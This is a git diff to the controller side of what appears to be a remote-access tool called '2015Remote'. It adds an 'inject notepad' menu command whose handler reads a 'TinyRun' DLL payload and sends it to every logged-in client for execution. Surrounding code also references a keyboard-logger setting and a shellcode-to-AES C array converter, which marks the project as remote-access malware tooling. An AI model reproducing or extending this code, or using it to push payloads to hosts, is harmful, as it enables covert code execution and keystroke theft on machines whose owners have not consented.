diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 0eb3f2d..88f3e1c 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index fe2108f..20b1a42 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -386,6 +386,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I m_bmOnline[15].LoadBitmap(IDB_BITMAP_UNINSTALL); m_bmOnline[16].LoadBitmap(IDB_BITMAP_PDESKTOP); m_bmOnline[17].LoadBitmap(IDB_BITMAP_REGROUP); + m_bmOnline[18].LoadBitmap(IDB_BITMAP_INJECT); for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { m_ServerDLL[i] = nullptr; @@ -539,7 +540,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) -END_MESSAGE_MAP() + ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad) + END_MESSAGE_MAP() // CMy2015RemoteDlg 消息处理程序 @@ -1590,6 +1592,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_ONLINE_UNINSTALL, MF_BYCOMMAND, &m_bmOnline[15], &m_bmOnline[15]); Menu.SetMenuItemBitmaps(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[16], &m_bmOnline[16]); Menu.SetMenuItemBitmaps(ID_ONLINE_REGROUP, MF_BYCOMMAND, &m_bmOnline[17], &m_bmOnline[17]); + Menu.SetMenuItemBitmaps(ID_ONLINE_INJ_NOTEPAD, MF_BYCOMMAND, &m_bmOnline[18], &m_bmOnline[18]); std::string masterHash(GetMasterHash()); if (GetPwdHash() != masterHash) { @@ -4022,3 +4025,19 @@ void CMy2015RemoteDlg::OnParamKblogger() THIS_CFG.SetInt("settings", "KeyboardLog", m_settings.EnableKBLogger); SendMasterSettings(nullptr); } + + +void CMy2015RemoteDlg::OnOnlineInjNotepad() +{ + auto tinyRun = ReadTinyRunDll(0); + EnterCriticalSection(&m_cs); + for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) { + context* ctx = *i; + if (!ctx->IsLogin()) + continue; + Buffer* buf = tinyRun->Data; + ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo)); + } + LeaveCriticalSection(&m_cs); + SAFE_DELETE(tinyRun); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 3d13a83..48e715e 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -246,7 +246,7 @@ public: CRITICAL_SECTION m_cs; BOOL isClosed; CMenu m_MainMenu; - CBitmap m_bmOnline[18]; + CBitmap m_bmOnline[19]; uint64_t m_superID; std::map m_RemoteWnds; CDialogBase* GetRemoteWindow(HWND hWnd); @@ -372,4 +372,5 @@ public: afx_msg void OnToolReloadPlugins(); afx_msg void OnShellcodeAesCArray(); afx_msg void OnParamKblogger(); + afx_msg void OnOnlineInjNotepad(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index cc76582..9476d9c 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -423,6 +423,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index ff5666e..9c31dd2 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -176,6 +176,7 @@ + diff --git a/server/2015Remote/res/Bitmap/Inject.bmp b/server/2015Remote/res/Bitmap/Inject.bmp new file mode 100644 index 0000000..c66e97a Binary files /dev/null and b/server/2015Remote/res/Bitmap/Inject.bmp differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 0984085..6ee967a 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ